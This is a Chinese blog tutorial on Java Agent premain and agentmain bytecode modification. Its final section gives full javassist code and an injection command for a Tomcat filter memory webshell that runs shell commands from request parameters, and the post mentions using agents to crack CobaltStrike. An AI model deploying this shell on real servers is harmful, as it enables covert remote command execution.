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Java Agent学习

发表于:2021-12-14 15:07 作者: 许木 阅读数(323人)

前言

今天看到一篇文章,写的是关于JAVA Agent相关的资料(附1),里面提到了Java Agent的两种实现方法:

  • 实现premain方法,在JVM启动前加载

  • 实现agentmain方法,在JVM启动后attach加载

因为最近流行破解CobaltStrike不再直接使用反编译打包源码了,而是使用JAVA Agent进行提前字节码修改。并且文章中也提到了javassist工具,我之前也用过javassist工具进行破解过Charles,因此抱着学习和复习的态度来复现下本文提到的技术点。

JAVA Agent两种方法复现

Java Agent简单说就是一种可以修改jar字节码的技术,我们来复现下上述提到的两种方法。

premain

通过实现premain方法,并在启动jar时添加-javaagent:agent.jar即可进行字节码修改。首先我们创建一个正常输出、测试用的JAVA程序,hello.jar

package com.test;

public class Hello {
  public static void main(String[] args) {
      hello();

  }

  public static void hello(){
      for (int i = 0; i < 1000; i++) {
          System.out.println("hello");
          try {
              Thread.sleep(1000);
          } catch (InterruptedException e) {
              e.printStackTrace();
          }
      }
  }
}

生成jar包:

Build -> Build Artifacts -> Build

正常运行jar包得到如下输出:

java -jar hello.jar

image-20211203215334642.png

接下来编写一个实现premain方法的JAVA程序:

package com.test;

import java.lang.instrument.Instrumentation;

public class premainagent {
  public static void premain(String args, Instrumentation inst) throws Exception{
      for (int i = 0; i < 10; i++) {
          System.out.println("hello I`m premain agent!!!");
      }
  }
}

并在MANIFEST.MF添加一行:

Premain-Class: com.test.premainagent

生成jar包并加载执行:

java -javaagent:premainagent.jar  -jar hello.jar

可以看到,成功的在hello.jar本身结果输出前输出了premain方法的内容:

image-20211203221110082.png

前面也提到现在破解CobaltStrike流行用JAVA Agent技术,我们看下破解工具的源码,能发现确实用的也是premain方法进行的破解:

image-20211203221429606.png

agentmain

但是有些JVM已经启动了,不好去让他重启,因此这个时候agentmain就派上用场了,可以方便的attach对应的进程进行字节码的修改。

编写一个实现了agentmain方法的JAVA程序:

package com.test;

import java.lang.instrument.Instrumentation;

public class agentmaintest {
  public static void agentmain(String agentArgs, Instrumentation inst) {
      for (int i = 0; i < 10; i++) {
          System.out.println("hello I`m agentMain!!!");
      }
  }
}

并在MANIFEST.MF添加一行:

Agent-Class: com.test.agentmaintest

生成jar包。

再编写一个attach程序(附2):

import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;

public class TestAgentMain {

  public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException{
      //获取当前系统中所有 运行中的 虚拟机
      System.out.println("running JVM start ");
      List<VirtualMachineDescriptor> list = VirtualMachine.list();
      for (VirtualMachineDescriptor vmd : list) {

          System.out.println(vmd.displayName());
          String aim = args[0];//你的jar包
          if (vmd.displayName().endsWith(aim)) {
              System.out.println(String.format("find %s, process id %s", vmd.displayName(), vmd.id()));
              VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
              virtualMachine.loadAgent(args[1]);//你想要加载的agentmain包
              virtualMachine.detach();
          }
      }
  }
}

生成jar包。

依然尝试对hello.jar进行字节码的修改,但是这次是运行着的hello.jar

首先运行hello.jar

java -jar hello.jar

hello.jar进行启动后的attach加载:

java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar

发现成功在hello.jar运行过程中进行了字节码修改:

image-20211203224943556.png

内存马

既然可以修改某个方法的实现,那如果修改spring bootFilter是否就可以实现一个Filter内存马?这里通过修改org.apache.catalina.core.ApplicationFilterChain#doFilter来达到实现内存马的目的。

依然实现一个agentmain方法,只是这次agentmain方法中不再是System.out.println了,而是接收request的值来执行命令。一开始跟着前文提到的方法进行复现,发现有一些问题,比如attach后会爆Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain

得加上这两句:

ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));

除了上面agentmain章节中提到的,在MANIFEST.MF中添加一行Agent-Class,还要添加一行:

Can-Retransform-Classes: true

且最后执行命令的JAVA代码,申明变量类型时得是完整路径,如InputStream得变成java.io.InputStream。最终代码如下:

package com.test;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import javassist.*;
import java.lang.instrument.UnmodifiableClassException;
import java.lang.instrument.IllegalClassFormatException;
import java.io.IOException;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;


public class memshell {
  public static void agentmain(String agentArgs, Instrumentation instrumentation)
          throws ClassNotFoundException, UnmodifiableClassException {
      instrumentation.addTransformer(new ClassFileTransformer() {
          @Override
          public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
                                  ProtectionDomain protectionDomain, byte[] classfileBuffer){
              System.out.println("premain load Class2:" + className);
              if(!"org/apache/catalina/core/ApplicationFilterChain".equals(className)){
                  System.out.println("nonononononono");
                  return null;
              }else {
                  try {
                      System.out.println("tryyyyyyyy");
                      ClassPool classPool = ClassPool.getDefault();
                      classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
                      if (classBeingRedefined != null) {
                          ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                          classPool.insertClassPath(ccp);
                      }
                      CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
                      CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
                      String source = "{javax.servlet.http.HttpServletRequest request = $1;" +
                              "javax.servlet.http.HttpServletResponse response = $2;" +
                              "request.setCharacterEncoding(\"UTF-8\");" +
                              "String result = \"\";" +
                              "String password = request.getParameter(\"password\");" +
                              "if (password != null && password.equals(\"xxxxxx\")) {" +
                              "String cmd = request.getParameter(\"cmd\");" +
                              "if (cmd != null && cmd.length() > 0) {" +
                              "java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +
                              "java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();" +
                              "byte[] b = new byte[1024];" +
                              "int a = -1;" +
                              "while ((a = in.read(b)) != -1) {" +
                              "baos.write(b, 0, a);" +
                              "}" +
                              "response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");" +
                              "}" +
                              "}}";
                      ctMethod.insertBefore(source);
                      System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk");
                      byte[] byteCode = ctClass.toBytecode();
                      ctClass.detach();
                      return byteCode;
                  } catch (Exception e) {
                      e.printStackTrace();
                  }
                  return null;
              }
          }
      },true);
      instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain"));
  }

}

打包成jar,然后启动spring boot

image-20211204082709359.png

image-20211204082747347.png

image-20211204082758237.png

开始注入:

java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar  memshell.jar

成功执行命令:

image-20211204083213692.png

总结

本文借着公开的文章学习了Java Agent相关技术,分别对JVM运行前和运行后的字节码修改进行了复现,现在JAVA内存马越来越流行,借着反序列化等漏洞可以悄无声息的上一个Webshell,如何发现此类攻击手段也是一个重要战场。

附1:https://xz.aliyun.com/t/9450

附2:https://blog.csdn.net/qq_41874930/article/details/121284684